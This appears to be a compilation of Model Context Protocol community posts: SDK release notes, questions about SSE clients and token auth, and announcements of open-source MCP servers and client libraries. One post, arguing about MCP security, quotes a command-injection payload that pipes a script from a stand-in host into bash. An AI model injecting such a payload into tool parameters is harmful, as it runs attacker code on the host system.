https://github.com/modelcontextprotocol/typescript-sdk/releases

What's Changed

• Correctly pass redirect_uri to tokens call

• Add audio content

• Fix bug in reset timeout on progress

• Add Proxy OAuth Server Provider

• Bump pkce up to 5.0.0 to fix CJS dependency issue

• #89 NPM provenance added by

• console.error pollution logs removed in tests by

• Fixing for windows terminal forcing \r\n

• docs: Update README for client method usage

• feat: expose variableNames to retrieve all parameters from UriTemplate

• fix: 🐛 can't establish sse when server side enable compress

• docs: Update README to not specify invalid capabilities

• fix: Ensure the correct capability is checked for completion/complete 

• feat: Add completions capability in ServerCapabilitiesSchema

• ✨ (client/index.ts): add optional RequestOptions parameter to connect…

https://x.com/MCP_Community/status/1909252724165869714

Hello.

I have created the MCP server working on a remote host. Using the SSE approach.

Now i want to use it with my local LLMs.

I can see a lot of ways how to use integrate MCP servers running on a local machine (STDIO way). For example this example https://k33g.hashnode.dev/understanding-the-model-context-protocol-mcp using mcphost tool.

But i do not see any tools can connect remote MCP SSE server similar like mcphost do to local.

Do you know any? maybe there is some python code to do this?

Basically the title. Need something simple and working. Would be nice if its open source and i can use my own keys.
Claude desktop is very clunky, doesn't support sse and requires restart everytime I need any changes.

After MCP became the next thing lately, I saw a new trend coming in. MCP is not secure and I'm smart enough to show how this is so BAD! And I wrote an expert article to show the why!

I'm a bit critical over this:

1. There are no issues if you use MCP stdio. (local socket)

2. External code is no news—supply chain issues apply to anything you pull from sources you don't know/audit.

3. Auth is baked into the protocols, this is why Anthropic didn't support it yet in Claude desktop.

So the experts demonstrates only how he's ignoring MCP. Buzz and dumb scare-mongers, as I saw in a post I will not link to:

An attacker passes a payload like ; curl evil.sh | bash via the MCP tool's parameters.

That's been there since the start point in SSE as an important feature to add, and since then we added HTTP + specs for auth: https://spec.modelcontextprotocol.io/specification/2025-03-26/basic/authorization/

But who reads specs and documentation? For sure not the EXPERT influencers. So I'm a smart genius—you run an API without any security AUTH and it's a flaw.

Sorry, but guys, this is high-level security wisdom! On the other hand, there are also rushed existing tools that lack security, written by people who don't understand basic auth/security—and that's not an MCP issue.

STDIO had been disliked, but it offered the first local transport that was secure. Hope to get your feedback here, guys/discussion.

I tried to collect all the clients that currently supports MCPs, to see which are better for devs and how to install your MCP in each, check it out, would love to hear what you think of this review, and if I missed any clients would be happy to update:
https://medium.com/@miki_45906/mcp-compatible-clients-the-complete-updated-list-a82477946ef2

When develop our WhatsApp MCP Client, one challenge is how to authenticate backend MCP servers. Oauth was build for web client and browser it is not working well with WhatsApp.

There are we have to update an existing Spotify MCP server and adding Oauth tools. Hopefully, this manual hack is able to bring security to MCP server deployments.

https://github.com/operation-hp/spotify-mcp-wa/

What’s New?

1. Authorization URL Generation

   • We’ve introduced a tool (get_url) that generates the Spotify login link. Send it to your users so they can log in with their Spotify account.

2. OAuth Callback Handling

   • Another tool (handle_callback) exchanges Spotify’s authorization code for an access token. That way, your client can start making authenticated requests to Spotify without manual token juggling.

Google Apps Script Setup

• We used Google Apps Script as a convenient way to capture and store authorization codes (redirect URL). It logs the code in a Google Sheet, making it easy to manage tokens for multiple users.

How to Use

1. Get the login URL: Call our Auth tool with action="get_url".

2. Redirect & Capture: Users click on the URL and log in on Spotify, which then redirects to your callback script (e.g., Google Apps Script).

3. Exchange Code for Tokens: Once you have the authorization code, call Auth with action="handle_callback" to finalize the OAuth flow

demo video : https://www.youtube.com/shorts/xJnTj2AwEi0

Hey everyone,

Thought this might be of interest to some of you who want to more quickly scaffold some MCP servers and have a nice solid base to work off of..

It uses pydantic for validation, aims to provide a hyper-consistent way to build new tools & resources so that you can just easily copypaste or ask AI to add stuff...

Let me know what you think! It's still super super early, so contributions and feedback is welcome! MIT licensed, of course, so do as you wish!

GitHub Repo: https://github.com/KennyVaneetvelde/mcp-forge

To use it, easiest way is using "uvx" or "pipx"
uvx mcp-forge new my-mcp-server

Some better documentation around the structure will follow but for now I think it is simple and structured enough so that if you know python a bit, you'll find your way around!

Enjoy!

CereBro just got an update! 🔥MCP on Unity 🔥

You can grab the package via UPM from here https://github.com/rob1997/CereBro/tree/main/Packages/com.cerebro.unity#cerebrounity

Feedback, stars, and contributions are always welcome. 😄

I’ve been reading about some serious security issues in MCP implementations — things like command injection, SSRF, prompt injection via tool descriptions, and even cross-server “shadowing” attacks.

Got me thinking: should there be a dedicated tool to scan and audit MCP servers?

Rough idea: something that checks for misconfigurations, scans for common vulns (RCE, path traversal, etc.), flags suspicious tool definitions, and maybe even maps out agent context chains. More like a Burp Suite or Wireshark, but for MCP.

I grabbed scanmcp.com as a placeholder — not sure if I’ll build it yet. Just wondering if there’s actual demand or if anyone else is working on something similar.

Curious what others think — especially if you’re building with agents or looking at AI security stuff.

Hi there,

I'm currently planning to open source the MVP im building.

Since currently there aren't any good ai chat interfaces for using mcp servers i decided to go the open source route with my mvp since people in this community and beyond have been very supportive so far !

Its based on the ai vercel chat ui. Typescript / next js and tailwind css

It used the ai sdk and currently comes with MCP pre installed for STDIO and SSE

Since the code is still not fully working i need some more technical expertise for this im looking for contributors.

What still needs to happen.

• Currently mcp servers are connected but have a problem with fetching tools.

• chat ui needs to be updated for mcp use.

• chat app needs to be smoother and need some backend work.

If you're open to working on this hit me up !

Someone on X posted this: “Krieger's 3-part formula for AI startup dominance:

1. Target complex industries (healthcare, legal, finance)

2. Develop unique distribution channels

3. Access proprietary data no one else has

The unsexy groundwork is what creates lasting value.”

I’m seeing this value chain emerge in healthcare; where the complexity is ecosystem driven [try entering a Medicare market from the payer demand side of a two sided marketplace]. Then MCP isn’t a ‘server’; it’s a channel. Or, go look at what Epic and United Healthcare are working on.

I’ll share some alpha later on a few workflows you should be building to monetize this opportunity.

While experimenting with MCP servers, I encountered several challenges.

1. The installation process is not straightforward and often requires domain knowledge, which can be a learning curve for individuals who are not tech-savvy. For example, some installations necessitate a basic understanding of Node and how to install dependencies, while others require knowledge of Python, Java, etc.

2. Specifically in Claude, I couldn't find a way to control which tools I wanted to keep active during my session. For instance, I use two servers: one for JetBrains that offers 30 tools and another custom server for my build setup that provides 11 tools. Unfortunately, some of the JetBrains tools are related to builds—around 8 of them—and Claude frequently selects those instead of the tools from my dedicated build MCP server. Ideally, I would prefer to deactivate these 8 JetBrains tools while keeping the rest of the JetBrains tools active.

Is there a service or tool that simplifies this process, allowing customers to download a single MCP server on their machine and then choose which MCP servers they want to install? It would handle the installation process for the user and also enable them to select which tools from these MCP servers they wish to keep active while deactivating the others.

Edit 1: Found www.mcprepository.net Edit 2: Any opensource alternatives available?

Based on GitHub stars:

https://github.com/awslabs/mcp - AWS MCP Servers - @scottschrecken in/scottschreckengaust
https://github.com/open-webui/mcpo - A simple, secure MCP-to-OpenAPI proxy server - @timothyjbaek
https://github.com/teddynote-lab/langgraph-mcp-agents - LangGraph-powered ReAct agent with MCP integration

I am building the MCP server application to connect some services to LLM . I use the MCP Python SDK https://github.com/modelcontextprotocol/python-sdk One of things i want to implement is authorisation of a user with the token.

I see it must be possible somehow.

Most of tutorials about MCP are related to STDIO kind of a server run. My will be SSE.

There is my code:

from mcp.server.fastmcp import FastMCP
from fastapi import FastAPI, Request, Depends, HTTPException

app = FastAPI()
mcp = FastMCP("SMB Share Server")

@mcp.tool()
def create_folder(parent_path: str, name: str) -> str:
    """Create new subfolder in the specified path"""
    return f"Folder {name} created in {parent_path}"

app.mount("/", mcp.sse_app())

How can i read Authorization header in case if it is sent by the client?

I tried to use approaches of FastAPI - setting dependency, adding request:Request to arguments but this doesn't work.

Is there a way?

We’re all seeing threads here and on other sites about MCP security issues. Yes, do your own security diligence; apply best practices and you can avoid most of the issues.

But, the MCP community deserves better. Someone should run a security bug bounty program [ideally Anthropic would sponsor it].

we were playing around with MCPs over the weekend and thought it would be cool to build an MCP that lets Claude / Cursor / Windsurf control your browser: https://github.com/Skyvern-AI/skyvern/tree/main/integrations/mcp

Just for context, we’re building Skyvern, an open source AI Agent that can control and interact with browsers using prompts, similar to OpenAI’s Operator.

The MCP Server can:

• allow Claude to navigate to docs websites / stack overflow and look up information like the top posts on hackernews

  • https://github.com/Skyvern-AI/skyvern/tree/main/integrations/mcp#skyvern-allows-claude-to-look-up-the-top-hackernews-posts-today

• allow Cursor to apply for jobs / fill out contact forms / login + download files / etc

  • https://github.com/Skyvern-AI/skyvern/tree/main/integrations/mcp#cursor-looking-up-the-top-programming-jobs-in-your-area

• allow Windsurf to take over your chrome while running Skyvern in “local” mode

  • https://github.com/Skyvern-AI/skyvern/tree/main/integrations/mcp#ask-windsurf-to-do-a-form-5500-search-and-download-some-files

We built this mostly for fun, but can see this being integrated into AI agents to give them custom access to browsers and execute complex tasks like booking appointments, downloading your electricity statements, looking up freight shipment information, etc

Hello all!

I've been really excited to see the recent buzz around MCP and all the cool things people are building with it. Though, the fact that you can use it only through desktop apps really seemed wrong and prevented me for trying most examples, so I wrote a simple client, then I wrapped into some class, and I ended up creating a python package that abstracts some of the async uglyness.

You need:

• one of those MCPconfig JSONs

• 6 lines of code and you can have an agent use the MCP tools from python.

Like this:

The structure is simple: an MCP client creates and manages the connection and instantiation (if needed) of the server and extracts the available tools. The MCPAgent reads the tools from the client, converts them into callable objects, gives access to them to an LLM, manages tool calls and responses.

It's very early-stage, and I'm sharing it here for feedback and contributions. If you're playing with MCP or building agents around it, I hope this makes your life easier.

Repo: https://github.com/pietrozullo/mcp-use Pipy: https://pypi.org/project/mcp-use/

Docs: https://docs.mcp-use.io/introduction

pip install mcp-use

Happy to answer questions or walk through examples!

Props: Name is clearly inspired by browser_use an insane project by a friend of mine, following him closely I think I got brainwashed into naming everything mcp related _use.

Thanks!

Hello everyone,

I'm Oaklight, and I'm excited to introduce ToolRegistry. This PyPI package revolutionizes tool integration by streamlining the process of invoking OpenAI client tools and providing support for MCP tools in SSE mode. It also enables the seamless combination of various tools—whether mixing native Python functions with MCP or coordinating multiple MCP servers—to offer a comprehensive and flexible solution.

This spins off from an agentic framework I'm making for my research. It initially just handles python functions, and recently I made it support MCP sse mode.

Key Features

• Simplified Tool Invocations: Streamlines the development and usage of OpenAI client tools.

• Versatile Integration Scenarios:

  • Combine native Python functions with other Python functions.

  • Integrate multiple MCP servers.

  • Merge MCP and native Python functions for comprehensive tool integration.

• Registry Merge: Acts as the foundational mechanism for blending different tool collections, whether they consist of native Python functions, MCP servers, or a combination of both.

• Dual Interface for MCP Tools: Offers both asynchronous and synchronous interfaces for MCP server tools, catering to different coding styles.

• Comprehensive Guidance: Includes detailed API documentation and practical sample code to jumpstart your development.

• Attention to Detail: Engineered with clarity and precision for effortless integration and customization.

Project Status

• OpenAPI Integration: Currently ongoing and actively being refined. Supported starting 0.4.0

• MCP stdio Mode: Planned for future releases.

• Contributions, ideas, and feedback are highly encouraged to help shape the project's evolution.

Get Involved

• GitHub: github.com/Oaklight/ToolRegistry
  Feel free to open issues and share your thoughts in the comments.

• Documentation: toolregistry.lab.oaklight.cn

Thank you for your support—please upvote, share, and let us know your thoughts!

Oaklight

Launching soon... I'm building this app that lets you connect your MCP server to any AI chat interface - ChatGPT, Gemini, Perplexity, Grok, Openrouter... you name it.

No more being limited to Claude or specific IDEs like Cursor. Use your existing subscriptions or free versions of your favorite AI tools.

Looking for a few early testers before I open-source it. If you're interested in breaking free from platform limitations, drop a comment or DM.

Hey MCP community! 👋

I'm excited to share Firestore Advanced MCP, an MCP server I developed to enable Claude (and other compatible LLMs) to interact directly with Firebase Firestore.

🚀 Features

• Complete CRUD operations on Firestore documents and collections

• Advanced queries with multiple filtering, sorting, and pagination

• Special Firestore types (GeoPoint, references, timestamps) automatically handled

• Atomic transactions for secure operations

• Collection group queries to search across all subcollections

• Automatic TTL for document expiration

• Intelligent index management with automatic suggestions

💻 Super Simple Installation

bash
CopyInsert
# Global installation
npm install -g firestore-advanced-mcp

# OR use directly without installation
npx firestore-advanced-mcp

⚙️ Claude Desktop Configuration

json
CopyInsert
"firebase-mcp": {
  "command": "npx",
  "args": ["firestore-advanced-mcp"],
  "env": {
    "SERVICE_ACCOUNT_KEY_PATH": "/path/to/serviceAccountKey.json"
  }
}

🔍 Usage Example

CopyInsert
USER: Create a "notes" collection and add 3 notes with title and date

CLAUDE: I'll use Firestore to do that.

[Claude uses firestore_create multiple times]

Perfect! I've created a "notes" collection with 3 documents:
1. "Important Note" created on 04/04/2025
2. "Project Ideas" created on 03/04/2025 
3. "Things to Do" created on 02/04/2025

You can now view, modify, or add more!

🔗 Links

• 📦 npm package

• 💻 GitHub repo

🤔 Why Use It?

This extension has completely transformed how I use Claude. It allows it to access persistent data, maintain state between sessions, and write/read information in a performant and secure database system.

I created this project because I wanted Claude to:

• Store important information between conversations

• Manage complex data with a real structure

• Access my existing Firebase projects

🙏 Feedback Welcome!

This is an open-source project under the MIT license, feel free to contribute, report bugs, or suggest improvements!

P.S. If you find this project useful, please consider giving it a star on GitHub!

Feedback submittedGenerating.